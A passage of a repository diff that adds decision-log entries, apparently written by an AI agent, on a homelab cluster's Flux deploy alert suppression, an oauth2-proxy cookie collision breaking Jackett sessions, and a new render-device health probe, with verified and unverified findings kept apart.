+  (`GitRepository`/`NewArtifact`, count 1 per commit, message `stored artifact for commit '<subject>'`,
+  revision in `source.toolkit.fluxcd.io/revision` metadata), and notification-controller has **no
+  SMTP provider**, so it must post into Alertmanager via `type: alertmanager` at
+  `http://kube-prometheus-stack-alertmanager.monitoring.svc:9093/api/v2/alerts`. I could not
+  establish **what label set that provider actually emits** (whether it sets `alertname`, and whether
+  `severity` is `info`) without applying it, and the `email-deploy` route matches on `severity`. So
+  the route design would have rested on a guess. Follow-up: apply it, read the resulting labels off
+  Alertmanager, then wire the route — and put it in its **own `wait: false` Flux Kustomization**
+  (never `platform` or `platform-config`, both `wait: true`), because a notification mechanism that
+  cannot go Ready must never be able to stall the delivery graph, which is the twice-shipped
+  cold-start deadlock this repo already documents.
+- **The 2500-count drift loop is NOT fixed, and is not mine.** Five Kustomizations have been
+  re-applying the same object every 10 minutes for ~25 days: something outside git is mutating
+  `NetworkPolicy/{unifi,gitea,nextcloud,seerr}/default-deny` and
+  `CustomResourceDefinition/cdis.cdi.kubevirt.io` after Flux applies them. Cause **UNVERIFIED** —
+  I only measured the event counts. It is a real defect (constant write load on the API server and
+  etcd, on a cluster with a known etcd I/O problem on prod-1) and it deserves its own branch. The
+  alerts here are immune to it by construction: they read revisions, not events.
+- **Branch protection / runner state re-measured? No.** The `gitea-settings` stage **SKIPPED**
+  (`SETTINGS_API_TOKEN` unset), so whether `main` is still protected and the gate still required is
+  UNVERIFIED by this run. The gate's overall verdict is therefore **rc 3, not rc 0** — every stage
+  that ran is green, and one stage did not run.

decisions/2026-09-30-flux-deploy-notification-inhibited.md

@@ -0,0 +1,95 @@
+---
+date: 2026-09-30
+branch: fix/flux-deploy-notification-inhibited
+title: The deploy notification routed correctly and was then inhibited before sending — `severity: info` is a suppressed class in kube-prometheus-stack
+---
+
+## What changed
+
+`FluxRolloutInProgress` (shipped hours earlier in PR #25) fired correctly on the very first real
+deploy and **its mail was suppressed before Alertmanager sent it**. One label changed:
+
+- `platform/monitoring/alerts.yaml` — `FluxRolloutInProgress` now carries `notification: deploy` and
+  **no `severity` label at all**, where it previously carried `severity: info`.
+- `platform/monitoring/kube-prometheus-stack.yaml` — the deploy route matches
+  `notification = "deploy"` instead of `severity = "info"`. Receiver, subject and grouping unchanged.
+- `platform/monitoring/tests/flux-rollout.test.yaml` — the three `FluxRolloutInProgress` `exp_labels`
+  blocks updated. `FluxRolloutStuck` keeps `severity: warning` and is unaffected.
+
+**The mechanism, measured rather than reasoned about.** kube-prometheus-stack's `general.rules`
+ships:
+
+    InfoInhibitor:
+      group by (namespace) (ALERTS{severity="info"} == 1)
+        unless on (namespace) group by (namespace)
+          (ALERTS{alertname!="InfoInhibitor", alertstate="firing", severity=~"warning|critical"} == 1)
+
+which fires for any namespace holding a firing `severity="info"` alert **and nothing else wrong in
+it**. The chart's third `inhibit_rule` then drops exactly that alert:
+
+    source_matchers: [alertname="InfoInhibitor"]
+    target_matchers: [severity="info"]
+    equal:           [namespace]
+
+For a deploy notification this is the worst possible interaction, because the suppressed case is the
+*only* case that matters: on a healthy rollout of a healthy cluster, `flux-system` holds no warning
+or critical alert, so `InfoInhibitor` fires and the deploy mail is inhibited. It would have been
+delivered only when something else in `flux-system` was already broken.
+
+Upstream's intent is explicit and reasonable — `severity: info` means "only worth showing next to a
+real problem". A deploy notice is not that, so it must not claim that severity. `notification` is a
+label **no** `inhibit_rule` in the chart targets (all three match on severity values), and dropping
+`severity` also stops `InfoInhibitor` firing for `flux-system` at all rather than merely working
+around it. Both files carry the full reasoning inline, and `alerts.yaml`'s design header now names
+the severity label as a third thing that must not regress — "do not tidy this by adding a severity"
+— because the next reader's instinct will be to add one back.
+
+## What I verified
+
+Against live prod, after PR #25 merged as `64c72fd` and Flux converged:
+
+- **The metrics work.** `kube_flux_kustomization_info` 16, `kube_flux_kustomization_suspended` 16,
+  `kube_flux_gitrepository_info` 1 = **33 series, exactly as designed**. The `revision` label IS
+  populated (`main@sha1:296d6d3…` / `…64c72fd…`), so the `status.lastAppliedRevision` /
+  `status.artifact.revision` paths are correct — previously UNVERIFIED.
+- **The `podAnnotations` roll mechanism works.** The KSM pod carries
+  `homelab.keithjackson.dev/crs-config-rollout: 1` and is a new pod
+  (`…-7b56d98f46-56n8j`, replacing the 2026-09-19 one), so the config-only-change trap was
+  genuinely closed rather than merely documented.
+- **The rule works, in both directions.** It fired for **12** lagging Kustomizations while 4 had
+  converged (`count by (revision)` → 12 old / 4 new), each alert carrying its own `name` and
+  `revision`; then the rollout converged (`count(count by (revision) (…))` → **1**) and the alert
+  **cleared**. Firing and self-clearing are both confirmed on real data, which is the completion
+  notification's whole mechanism.
+- **The routing works.** `amtool config routes` shows
+  `{notification="deploy"} → receiver: email-deploy` under the default route, and
+  `amtool config routes test notification=deploy` returns `email-deploy`.
+- **The inhibition was real.** `InfoInhibitor` went active `2026-09-30T04:58:48Z` — the same moment
+  the alert began firing — and `amtool alert query` showed **no** `FluxRolloutInProgress` in
+  Alertmanager, active or `--inhibited`. `alertmanager_notifications_failed_total{integration=email}`
+  is 0 for every reason, so nothing failed to send; it was never dispatched.
+- promtool: **SUCCESS**, 53 rules, 6 scenarios, promtool 3.14.0 in the pinned toolbox.
+
+## What I did NOT verify
+
+- **No deploy mail has been observed in the inbox — this fix is UNVERIFIED end to end.** The
+  suppression was proven (nothing in Alertmanager, zero send failures) and the routing was proven
+  (`amtool config routes test` → `email-deploy`), but the delivered message is not. It can only be
+  proven by merging this and watching the next commit produce `[FLUX] applying` and then
+  `[FLUX] applied`. Same structural gap as PR #25, one layer further along.
+- **Whether the single email during the window was ours.**
+  `alertmanager_notifications_total{integration="email"}` went 226 → 227 while other alerts
+  (`Watchdog`, `CNPGPrimariesCoLocated`) were also active, and that counter carries no receiver
+  label, so the increment cannot be attributed. I am NOT claiming our mail was or was not sent — the
+  attribution is genuinely unavailable from this metric.
+- **Whether `InfoInhibitor` interacts with `FluxRolloutStuck`.** Stuck is `severity: warning`;
+  inhibit_rule 1 (`critical` → `warning|info`) requires an equal `alertname`, so it should not
+  apply — reasoned, not measured. Worth confirming the first time a rollout genuinely hangs.
+- **The `[FLUX] applying|applied` subject template** is still untested; `.Status` is assumed to be
+  `firing`/`resolved` in the notification template data.
+- **`required_approvals` disagreement, unresolved and not mine to settle.** Live branch protection
+  reads `required_approvals: 1`, while the `ci/gate.sh` comment introduced by PR #17 describes the
+  model as `required_approvals: 0` ("the gate is the approver"). `ci/gitea-settings.sh` may report
+  this as drift against `infra/gitea/expected-branch-protection.json`. Flagged only.
+- **The drift loop is still unexplained.** Five Kustomizations re-applying the same object every
+  10 minutes (event counts ~2500) — untouched, cause unknown, still deserves its own branch.

decisions/2026-09-30-jackett-oauth2-proxy-session.md

@@ -0,0 +1,273 @@
+---
+date: 2026-09-30
+branch: fix/jackett-oauth2-proxy-session
+title: Jackett — radarr's oauth2-proxy deletes jackett's session cookie; the fix cannot be made per-app
+---
+
+## What changed
+
+Reported as *"GET requests work, but most PUT/POST requests to add indexers fail. Reloading the page
+never fixes it, and I am never re-prompted for login if it is a login issue."*
+
+**This branch lands the diagnosis and a runbook. It does NOT land the manifest fix, and that is a
+deliberate stop, not an omission** — see *The fix has one home and it is shared*, below.
+
+Three mechanisms, all measured. **Weighting matters here, so it is stated up front:** mechanisms 2
+and 3 are demonstrated from Jackett's own access log and **between them fully explain the report as
+written** — PUT/POST fail, the operator is never re-prompted, and a reload does not help. Mechanism 1
+is a real, firing defect that Jackett genuinely violates, and it explains the *intermittency* on top;
+I demonstrate the mechanism and one three-second causal adjacency, not a population of them. Fix all
+three; do not rest the case on the first.
+
+**1. Cookie collision — the mechanism is firing, and Jackett is a genuine violator.** Six oauth2-proxy
+instances (seven pods) emit oauth2-proxy's **default** cookie name `_oauth2_proxy` scoped to
+`.home.keithjackson.dev` while holding seven **different** cookie-secrets. The ping-pong is in two
+pods' own logs, interleaved to the second:
+
+    15:23:17  radarr   [AuthSuccess]                                   -> radarr writes _oauth2_proxy
+    15:23:44  jackett  "cookie signature not valid, removing session"  -> re-login #1
+    15:23:58  radarr   "cookie signature not valid, removing session"  -> radarr DELETES jackett's
+    15:27:17  jackett  [AuthSuccess]                                   -> re-login #2
+    15:27:59  radarr   "cookie signature not valid, removing session"
+    15:31:06  jackett  [AuthSuccess]                                   -> re-login #3
+    15:31:29  radarr   "cookie signature not valid, removing session"  <- deletes it again
+    15:31:32  jackett  "No valid authentication in request"            <- 3 SECONDS later, no cookie
+
+`removing session` is oauth2-proxy calling ClearSession, which expires the cookie on **its own**
+`--cookie-domain` — the whole zone. So jackett's session is not merely overwritten, it is **deleted
+by a process in another namespace**, 26 s after a clean login whose own `expires` was five minutes
+out. That is the answer to the open question in the brief ("26 s is well inside the 5-minute window,
+so plain expiry does not explain it"): it was never expiry, and it was never Jackett.
+
+It also explains the half of the report that looked like user error. **Reloading genuinely does not
+help**, because the operator's Radarr tab re-clears the cookie seconds after each new login — and
+Radarr is not a passive tab. Its UI polls: of 156 unauthenticated requests in its log against
+**1** AuthSuccess, the top paths are `/api/v3/command` (62), `/api/v3/queue/details` (46) and
+`/signalr/messages/negotiate` (43). Every one of those polls, arriving with a cookie Radarr cannot
+decrypt, calls ClearSession again. **A left-open Radarr tab is a cookie-deletion engine firing every
+few seconds**, which is why Jackett's sessions die at irregular, short, apparently random intervals.
+
+**A counter-hypothesis was put to me and it does not survive bounding.** The observation was that
+Crafty already carries this fix yet showed the platform's worst failure ratio (81:1 over 24 h from
+Loki), implying the fix does not work. But Crafty's pod started **2026-09-30T03:57:19Z with 0
+restarts**, so a 24 h window is ~10 h of the *pre-fix* pod. Rather than bound it in Loki I read the
+ratio off the pod's own log, whose boundary is the process start and therefore exact: **inside the
+fixed pod's entire 13 h 52 m lifetime, Crafty logged 3 `No valid authentication` events, not 81** —
+from one client IP, two of them WebSocket `/ws` reconnects, in two isolated minutes (04:02 and
+15:22), against 0 AuthSuccess because nobody signed in. Post-fix Crafty is idle, not broken. The
+ratio metric is confounded by endpoint type — apps that poll or hold WebSockets (Radarr, Crafty)
+manufacture failure lines at their retry rate — so it ranks *chattiness*, not breakage. Correctly
+bounded, Crafty is evidence **for** the fix.
+
+**2. Session lifetime pinned to a 5-minute access token.** Measured from the sidecar's own
+`[AuthSuccess]`: `created:15:31:06.391860254` / `expires:` + **300.000 s** exactly, with
+`refresh_token:true` on the same line. `--cookie-refresh` is unset and its default is `0`
+(disabled), so the proxy holds a refresh token it has no mandate to spend.
+
+**3. XHRs answered with 302 instead of 401 — why none of it was visible.** oauth2-proxy's built-in
+AJAX guard fires only on an **exact** `Accept: application/json`, which Jackett's jQuery does not
+consistently send. Measured on `/api/` paths in this pod's log: **33 × 302 against 2 × 401**, and the
+split runs straight through Jackett's own POSTs (`/api/v2.0/server/adminpassword` → 401,
+`/api/v2.0/server/update` → 302). A 302 on an unauthenticated XHR is followed invisibly by the
+browser, satisfied silently by the live Keycloak SSO session, and resolves with HTML where the
+JavaScript expected JSON — no prompt, no error. On a write it is worse: a browser following a 302
+re-issues a POST as a **GET and drops the body**, so the indexer configuration is discarded with
+nothing logged as a failure anywhere.
+
+### The fix has one home, and it is shared — this is the blocker
+
+The brief assigned me `apps/wave-0/jackett.yaml` as exclusively mine, and assigned the other four
+apps to a sibling branch. **That split is not implementable, and I found out by trying it.**
+
+`apps/wave-0/jackett.yaml` is a **generated golden**. The sidecar's argument list is built by one
+shared function, `_oauth2_sidecar_container()` in `catalog/render.py`. `catalog/jackett.yaml`
+declares only `auth.mode` and `auth.groups`, and the `auth` schema is `additionalProperties: false`
+— **there is no per-app override hook**. I wrote the fix into the rendered file first; the merge
+gate rejected it exactly as designed:
+
+    [fail] GOLDEN DRIFT: apps/wave-0/jackett.yaml does not match the canonical render
+    [fail] stage render-golden: FAIL          ->  MERGE GATE: BLOCKED   (rc 1)
+
+So I made the change at its real source instead and **measured the blast radius** before committing
+to it. A change confined to that one function rewrites the sidecar block in **all five** rendered
+apps, and `render-golden` requires all five be regenerated in the same commit:
+
+    CHANGED: apps/wave-0/jackett.yaml
+    CHANGED: apps/wave-0/pihole.yaml
+    CHANGED: apps/wave-0/qbittorrent.yaml
+    CHANGED: apps/wave-1/radarr.yaml
+    CHANGED: apps/wave-1/sonarr.yaml
+
+Four of those five are the files I was explicitly told not to touch, and all four are being edited
+right now on `fix/oauth2-proxy-cookie-collision-fleet`. **The gate and the ownership boundary are in
+direct contradiction**: I cannot fix Jackett's sidecar without regenerating four files another
+branch owns, and two branches rewriting the same generated block across five files is precisely the
+cross-branch conflict this repo's §7 exists to prevent.
+
+I stopped rather than force it. **The cookie fix is one change, not five**, and it should be re-cut
+as a single renderer commit on one branch. The intended content, validated below:
+
+    --cookie-name=_oauth2_proxy_{name}        # per-app, derived
+    --cookie-domain={host}                    # host-scoped, derived
+    --whitelist-domain=.{ZONE}                # unchanged: redirect targets, not cookie scope
+    --cookie-refresh=2m30s                    # half the measured 300 s token lifetime
+    (drop --pass-access-token, --set-xauthrequest)
+
+`--api-route=^/api/` is the one flag I would **not** apply renderer-wide on this evidence: I
+measured the 302/401 split on Jackett only, and PiHole's UI does not serve `/api/` at all. It needs
+either a per-app hook or four more measurements.
+
+**Metrics — asked for, and declined here for the same structural reason, not on merit.** It is true
+and I re-measured it: **no per-app sidecar exposes metrics**. Only the shared proxy carries
+`--metrics-address=0.0.0.0:44180` and a `metrics` container port; jackett, pihole, qbittorrent,
+radarr, sonarr and crafty all have `(ABSENT)` and ports `['http']` alone, so the listener never
+starts and nothing about these gates is scrapable. Adding it is worth doing and the pattern is
+already proven in-tree by the shared proxy. But it is **not** "inside my file": the container's
+`args` *and* its `ports` both come from `_oauth2_sidecar_container()`, so adding
+`--metrics-address` plus a `metrics` port hits the identical five-file blast radius as the cookie
+change. It belongs in the same single renderer commit — which is an argument for cutting that commit
+soon, not for me to hand-edit a golden a second time after the gate already refused the first.
+(Crafty is separately hand-written and could take the metrics flag on its own.)
+
+**Crafty is unaffected by all of this** — its sidecar is hand-written in
+`platform/crafty/deployment.yaml`, not rendered, which is why it could be and was fixed alone on
+2026-09-29.
+
+### What this branch does land
+
+`runbooks/oauth2-proxy-session.md` — the four sidecar log lines that tell Keycloak, the sidecar and
+the app's own login apart (including the upstream `-` field that means the proxy answered a request
+the app never saw), the cookie-collision cross-log diagnosis, the 5-minute-session check, the
+302-vs-401 trap, and the generated-golden warning with its measured blast radius. Registered in the
+runbooks `configMapGenerator` **and** listed in `runbooks/README.md`, so the URL resolves rather
+than the file merely existing.
+
+## What I verified
+
+- **The collision is the live failure.** `[stored_session.go:94] Error loading cookied session:
+  cookie signature not valid, removing session` — **1 occurrence in jackett's log (15:23:44), 8 in
+  radarr's** (15:22:49, 15:23:58, 15:27:59, **15:31:29**, 15:32:29 ×4), and **zero** in pihole,
+  qbittorrent, sonarr, crafty and both shared-proxy replicas. The 15:31:29 → 15:31:32 pair is the
+  operator's whole report.
+- **Six instances / seven pods are in the collision set** — the brief said five; the shared
+  forward-auth proxy in namespace `oauth2-proxy` is the sixth and runs 2 replicas. Read from live
+  pod specs: jackett, pihole, qbittorrent, radarr, sonarr and `oauth2-proxy` all have **no**
+  `--cookie-name` argument and `--cookie-domain=.home.keithjackson.dev`. Only crafty is fixed.
+- **All seven cookie-secrets differ.** Compared in-cluster by sha256, first 12 hex only, values
+  never printed: `d9c5…`/`0b3b…`/`b025…`/`bb6a…`/`25f4…`/`e679…`/`911a…`. So no two of these proxies
+  can read each other's cookie — the precondition for the eviction.
+- **The 5-minute lifetime**, from four `[AuthSuccess]` lines: `expires − created = 300.000 s`, with
+  `refresh_token:true` and `groups:[platform-admins]`. Live args confirm `--cookie-refresh` absent.
+- **The 302/401 split** on `/api/` paths in this pod's log: 33 × 302, 18 × 200, 2 × 401, 2 × 204.
+- **4 of the 6 POSTs never reached Jackett** — the access log's upstream field is `-`, not `/`:
+  `adminpassword` → 401, `adminpassword` → 401, `server/update` → 302, `server/update` → 302. The
+  two that did reach it (`adminpassword`, `indexers/1337x/config`) carry the authenticated email.
+- **The proposed argument list starts, against the pinned image and the real issuer.** Ran
+  `quay.io/oauth2-proxy/oauth2-proxy:v7.8.1` locally with the full proposed args; OIDC discovery
+  against `keycloak.home.keithjackson.dev` succeeded and it printed back its own reading:
+  `Cookie settings: name:_oauth2_proxy_jackett secure(https):true httponly:true expiry:168h0m0s
+  domains:jackett.home.keithjackson.dev path:/ samesite: refresh:after 2m30s` and
+  `API route - Path: ^/api/`.
+- **`--api-route` is singular.** The brief specified `--api-routes`, which does not exist in v7.8.1;
+  the proxy would have refused to start. Read off `--help`.
+- **`--session-cookie-minimal` is mutually exclusive with `--cookie-refresh`** — provoked, not
+  assumed: `invalid configuration: cookie_refresh > 0 requires oauth tokens in sessions.
+  session_cookie_minimal cannot be set`. This kills the brief's premise that dropping
+  `--pass-access-token` shrinks the cookie: only `--session-cookie-minimal` strips tokens from the
+  session, and it is unavailable while refresh is on. Dropping those two flags is justified on
+  **least privilege and inertness**, not size.
+- **`--set-xauthrequest` is inert here**: HTTPRoute `jackett-9117` backendRef is
+  `Service/jackett port 4180`, there is no ext-authz attachment on the `shared` Gateway, so
+  `/oauth2/auth` is never called.
+- **`apps/**` is generated and the fix cannot be scoped to one app** — both halves measured, not
+  inferred: the gate's `render-golden` stage rejected the hand-edit, and re-rendering after a
+  renderer-only change listed all five apps as changed (transcript above).
+- **Crafty's post-fix failure rate, bounded exactly.** Pod `crafty-647c7d8cc5-5spv9`,
+  `startTime=2026-09-30T03:57:19Z`, `restarts=0`, live args `--cookie-name=_oauth2_proxy_crafty` and
+  `--cookie-domain=crafty.home.keithjackson.dev`. Over that pod's whole lifetime: **3**
+  `No valid authentication`, 0 AuthSuccess, one client IP, 2 of the 3 on `/ws`. The 81:1 figure is a
+  24 h window over a 13.9 h pod and is dominated by the pre-fix process.
+- **The ratio metric ranks chattiness, not breakage.** Radarr 156:1 with the top paths being
+  `/api/v3/command`, `/api/v3/queue/details` and `/signalr/messages/negotiate` — UI polling, not 156
+  distinct user-visible failures.
+- **No per-app sidecar exposes metrics.** `--metrics-address` is `(ABSENT)` and `ports` is
+  `['http']` on all six per-app sidecars; only the shared proxy has
+  `--metrics-address=0.0.0.0:44180` and a `metrics` port.
+- **Gate:** `./ci/gate.sh` in the pinned toolbox, **rc 3 — UNDETERMINED, not green**. Green:
+  `spec-immutability`, `approval-policy`, `decisions-log`, `lint`, `l0`, `render-golden`, `l1`.
+  Skipped: `gitea-settings` (no `SETTINGS_API_TOKEN`) and L2/L3 conformance (`CLUSTER_AVAILABLE`
+  unset), leaving touched requirement `R-OBS-04` uncertified. Note `spec-immutability` is **green**,
+  not skipped — mounting the sibling spec repo at `/home-network-k3s` (the path
+  `ci/spec-immutability.sh` actually defaults to) in the ENGINE shim fixes that skip; the commonly
+  circulated shim mounts it at its host path, where `SPEC_REPO` never finds it.
+- **Gitea CI on this PR, read from the commit's `/statuses` rather than from a tick.** Two contexts
+  reported, and **only one of them ran**:
+
+      gate / gate (pull_request)         state=success   desc='Successful in 1m41s'
+      gate / conformance (pull_request)  state=success   desc='Has been skipped'
+
+  That second line is §2b's trap in the wild: a **skipped** Gitea job reports `state=success`. The
+  conformance job did not execute, so the green tick beside it certifies nothing. Read together with
+  the local rc 3 above, the two agree exactly — the offline L0/L1 subset passed and L2/L3 never ran.
+  Anyone reading the PR's check mark alone would conclude otherwise.
+- **`main` is protected**, re-measured this session rather than assumed:
+  `GET /repos/.../branches/main` → `protected=true`, `user_can_push=false`.
+
+## What I did NOT verify
+
+- **The operator's problem is NOT FIXED by this branch.** Only the diagnosis and the runbook land.
+  Jackett's sidecar is unchanged and will keep losing its session to Radarr until the renderer
+  change ships. **This is the single most important line in this entry.**
+- **No browser round-trip.** Every mechanism is measured from logs and specs and the argument list
+  is proven to start, but nobody has added an indexer through the proposed configuration. The human
+  test is below, for whoever lands the renderer change.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
+  still `jackett-c5bfcbfb8-c75f9` (2/2 Running, 17 d, 0 restarts — unchanged by this session's
+  read-only probes). Note that when the fix does land, merging is what deploys, and it will restart
+  the pod (`strategy: Recreate` on an RWO Longhorn volume), briefly interrupting Radarr's and
+  Sonarr's direct `:9117` access.
+- **Cookie size and chunking: UNMEASURED, and I will not claim either way.** I could not read a
+  `Set-Cookie` header without a browser. I found no `_oauth2_proxy_0`/`_1` chunk evidence and no
+  4 kB warning in 36,287 log lines — but I did **not** establish that v7.8.1 emits such a warning at
+  this log level, so that absence is not evidence. If sessions still misbehave after the fix lands,
+  this is the next thing to measure, with `--session-store-type=redis` as the escape hatch, since
+  `--session-cookie-minimal` is ruled out (above).
+- **`--cookie-refresh=2m30s` has never executed a refresh here.** It depends on Keycloak accepting
+  the refresh token and on the realm's SSO Session Idle/Max, none of which I read (that needs admin
+  credentials). If Keycloak's *refresh* token is also short-lived, the five-minute logout persists
+  and the realm is where to look next.
+- **`--api-route` is measured for Jackett only.** PiHole and qBittorrent were not measured, and
+  PiHole's UI does not serve `/api/`. Do not apply it renderer-wide on my evidence.
+- **The four sibling apps still collide with each other** regardless of what happens to Jackett.
+  The same operator report should be expected from any of pihole / qbittorrent / radarr / sonarr.
+- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), so nothing about runtime behaviour
+  is certified by the gate. `gitea-settings` also skipped, so branch protection and runner state are
+  **unverified by me this session** — I did not re-measure them against the Gitea API.
+- **I did not query Loki.** The Crafty bounding above comes from the pod log, which I argue is the
+  better instrument (an exact process boundary rather than a wall-clock window against a 72 h
+  retention). But it means I cannot speak to the 24 h or 12 h *platform-wide* ratios, and a
+  per-app ratio over a window longer than the current pod's life is not something I measured at all.
+- **Collision causation is one adjacency, not a population.** The 15:31:29 → 15:31:32 pair is three
+  seconds and the mechanism is documented and present, but I did not enumerate every jackett failure
+  and match it to a radarr ClearSession. Treat mechanism 1 as **necessary and firing, not proven
+  sufficient** — the coordinator's framing, and I agree with it on this evidence.
+- **The metrics change is NOT in this branch** (reason above). Jackett therefore remains inside the
+  oauth2-proxy metrics gap, and the ratio alert shipped in PR #29 still cannot see it.
+- **The runbook's commands were not all executed verbatim.** The log-reading ones I ran; the
+  per-namespace `for` loops are edited from the scripted forms I actually used.
+
+### The human test — for whoever lands the renderer fix
+
+After it merges and the pod rolls (watch for a **new** pod name at 2/2):
+
+1. **Sign in** at `https://jackett.home.keithjackson.dev/UI/Dashboard`.
+2. **Open Radarr in a second tab** and sign in there too. **This is the step that breaks Jackett
+   today** — it is the 15:31:29 line. Return to the Jackett tab.
+3. **Add an indexer** — *+ Add indexer*, pick one, *Configure*, *Okay*. It must save.
+4. **Wait six minutes on the open dashboard, then save another.** That is the `--cookie-refresh`
+   test; the session currently dies at five.
+5. **If something does still fail, it must now fail LOUDLY** — DevTools → Network, a broken `/api/`
+   call shows **401**, not a 302 followed by HTML. A silent success-looking no-op means the change
+   did not take; check the running pod's args before assuming anything else.
+6. **A plain page reload must still sign you in silently** (`/UI/Dashboard` is outside `^/api/`).
+   A 401 page on reload means the regex is too broad — that is a regression.

decisions/2026-09-30-node-health-render-device.md

@@ -0,0 +1,283 @@
+---
+date: 2026-09-30
+branch: feat/node-health-render-device
+title: The Intel render device is now self-re-measuring, not a fact someone checked once
+---
+
+## What changed
+
+### Why this probe has value at all
+
+**Nothing else in the platform would notice the device going missing.** Plex exposes no
+ServiceMonitor, so no alert fires on a silent fall back to software transcoding. And the
+manifest side mounts the device with `hostPath type: DirectoryOrCreate`, which means a node
+*without* the device mounts an **empty directory** — Plex starts, runs, and degrades quietly
+rather than failing loudly. There is no crash loop, no failed mount, no alert: just a hot CPU.
+This check is the only thing in the system that would surface it, which is the actual
+justification for the role carrying it.
+
+### The change
+
+`roles/node_health` grew a graphics / render-device probe. Nothing was installed, no module
+was loaded, no group was changed, nothing was rebooted: the prod nodes already have a working
+Intel render device (measured by hand on all three on 2026-09-30) and the point of this change
+is that the measurement now **re-runs forever** instead of decaying silently in a handoff note.
+
+The failure this exists to catch is silent by construction. Plex hardware-transcodes through
+`/dev/dri/renderD128`; if that node stops existing — node rebuild, a BIOS change that disables
+the onboard IGD, a kernel that binds a different DRM driver, a driver regression — Plex falls
+back to software transcoding on its own and the only symptom is a hot CPU.
+
+Four files:
+
+- `files/node_health_collect.py` — new `collect_graphics()`, wired into the **unprivileged**
+  pass (`main()`). Everything it reads is world-readable: `lstat()` on `/dev/dri/*`,
+  `grp.getgrgid()` for the owning group name, the `/sys/class/drm/card*/device/driver` symlink
+  target for the bound driver, `/sys/bus/pci/devices/*/class` for display-class (PCI base class
+  `0x03`) devices whether or not a driver is bound, `/sys/class/drm/card*/engine/*` for the
+  `vcs*`/`vecs*` media engines, `/proc/modules`, `/proc/cmdline`, and
+  `/sys/module/{i915,xe}/parameters/enable_guc`. `lspci` and `vainfo` were added to the
+  existing tool probe; both are optional and neither is depended on.
+- `tasks/assess.yml` — one shared derive task plus three checks: `graphics.render_device`
+  (PASS/FAIL/SKIP), `graphics.drm_driver` (PASS/WARN/FAIL/SKIP), `graphics.media_stack`
+  (INFO/SKIP).
+- `defaults/main.yml` — `node_health_graphics_expected_driver: i915`, so the one comparison the
+  check makes is data rather than task logic.
+- `templates/summary.txt.j2` — a `GRAPHICS / RENDER DEVICE` section, and
+  `roles/node_health/README.md` gained a section explaining the design and two new "known
+  limits".
+
+Three design rulings worth stating, because each is the kind of thing a later edit would get
+wrong:
+
+1. **The render node's GID is reported, never asserted.** It read `root:render`, gid **992**,
+   mode `0660` on all three prod nodes. The check does *not* compare against `992`. `render` is
+   a **systemd dynamic** allocation (`systemd-sysusers`), not a Debian static gid from
+   `base-passwd`, so a rebuild can legitimately move it — and Plex's container entrypoint stats
+   the device and joins whichever group owns it, so drift genuinely is not a fault. The
+   observed group name and number appear in the detail line, which makes drift *visible*
+   without making it an error. A hard `!= 992` would be a false alarm waiting for a reinstall.
+2. **The PCI scan is deliberately separate from the DRM scan.** `/sys/class/drm/card*` exists
+   only once a driver has *bound*, so a GPU with nothing attached has no `card0` and would
+   otherwise be indistinguishable from a machine with no GPU. Scanning the PCI bus separately
+   is what lets "no display device at all" be an honest **SKIP** (a VM guest — the same
+   convention `thermal.max` already uses for "no sensor on this hardware") while "a GPU is on
+   the bus and there is still no render node" is a **FAIL**.
+3. **GuC/HuC and host VAAPI userspace are INFO and must stay INFO.** GuC/HuC off
+   (`i915.enable_guc=0`) is an accepted state here and costs low-power H.264 encode *quality*
+   only. No host `vainfo` is not a defect at all — Plex ships its own libva and media driver
+   inside its container. Grading either would put a permanent WARN on a chosen configuration,
+   or invite someone to `apt install vainfo` on a node to clear a health check, and this role
+   installs nothing.
+
+`xe` bound instead of `i915` is a **WARN**, not a FAIL: the device still works, but the two
+drivers do not share a userspace media stack. On these nodes `xe.ko.xz` exists on disk and is
+bound to nothing.
+
+## What I verified
+
+### The real prod run (read-only, all three nodes)
+
+`--list-hosts` first, every time. It named exactly three hosts and nothing else:
+
+    play #1 (k3s_prod): Inspect node hardware health (read-only)
+        pattern: ['k3s_prod']
+        hosts (3): k3s-prod-3  k3s-prod-2  k3s-prod-1
+
+Then `--syntax-check` (rc 0), then the run:
+
+    ansible-playbook playbooks/node-health.yml -e node_health_hosts=k3s_prod --limit k3s_prod
+
+    k3s-prod-1 : ok=51  changed=3  unreachable=0  failed=0  skipped=1
+    k3s-prod-2 : ok=51  changed=2  unreachable=0  failed=0  skipped=1
+    k3s-prod-3 : ok=51  changed=2  unreachable=0  failed=0  skipped=1
+    PLAY rc=0
+
+(The `changed=` counts are the *controller-side* artifact writes under
+`infra/ansible/_artifacts/node-health/`, delegated to localhost. Nothing on any node changed —
+the collector task is `changed_when: false` and the role touches nothing.)
+
+All three nodes graded **PASS / PASS / INFO** on the new checks, 0 FAIL overall:
+
+    k3s-prod-1  VERDICT  0 FAIL · 1 WARN · 18 PASS · 2 SKIP · 6 INFO
+    k3s-prod-2  VERDICT  0 FAIL · 3 WARN · 15 PASS · 3 SKIP · 6 INFO
+    k3s-prod-3  VERDICT  0 FAIL · 2 WARN · 17 PASS · 2 SKIP · 6 INFO
+
+    [PASS] graphics.render_device — DRM render node present for hardware transcoding (/dev/dri/renderD*)
+    [PASS] graphics.drm_driver   — DRM driver bound to the display device (expected i915)
+    [INFO] graphics.media_stack  — Media engines, GuC/HuC firmware and host VAAPI userspace (informational)
+
+(The pre-existing WARNs and SKIPs are other checks — SMART, memattr, resolvers — and are not
+mine; none of them moved.)
+
+The new report section, **byte-identical on all three nodes**:
+
+    --------------------------------------------------------------------------------
+     GRAPHICS / RENDER DEVICE (the Plex hardware-transcoding path)
+    --------------------------------------------------------------------------------
+     pci  0000:00:02.0 00:02.0 VGA compatible controller [0300]: Intel Corporation CoffeeLake-S GT2 [UHD Graphics 630] [8086:3e98] (rev 02)
+                  driver i915
+     drm  card0        driver i915     at 0000:00:02.0  engines bcs0 rcs0 vcs0 vecs0
+     dev  card0        character special  mode 0660  root:video gid 44
+     dev  renderD128   character special  mode 0660  root:render gid 992
+     GuC/HuC     NOT READ — /sys/module/i915/parameters/enable_guc is not
+                  readable without root (i915 module parameters are mode 0400)
+                 no i915/xe parameter on the kernel cmdline
+     modules     amdgpu=false, i915=true, nouveau=false, nvidia=false, radeon=false, xe=false (/proc/modules — corroboration only; the bound-driver symlink above decides)
+     vainfo      NOT installed on this host — not a defect: Plex ships its own libva/media driver inside its container
+
+That reproduces every item of the 2026-09-30 hand measurement independently: `renderD128`
+character special, `root:render`, **gid 992**, mode `0660`; `card0` `root:video` gid 44 mode
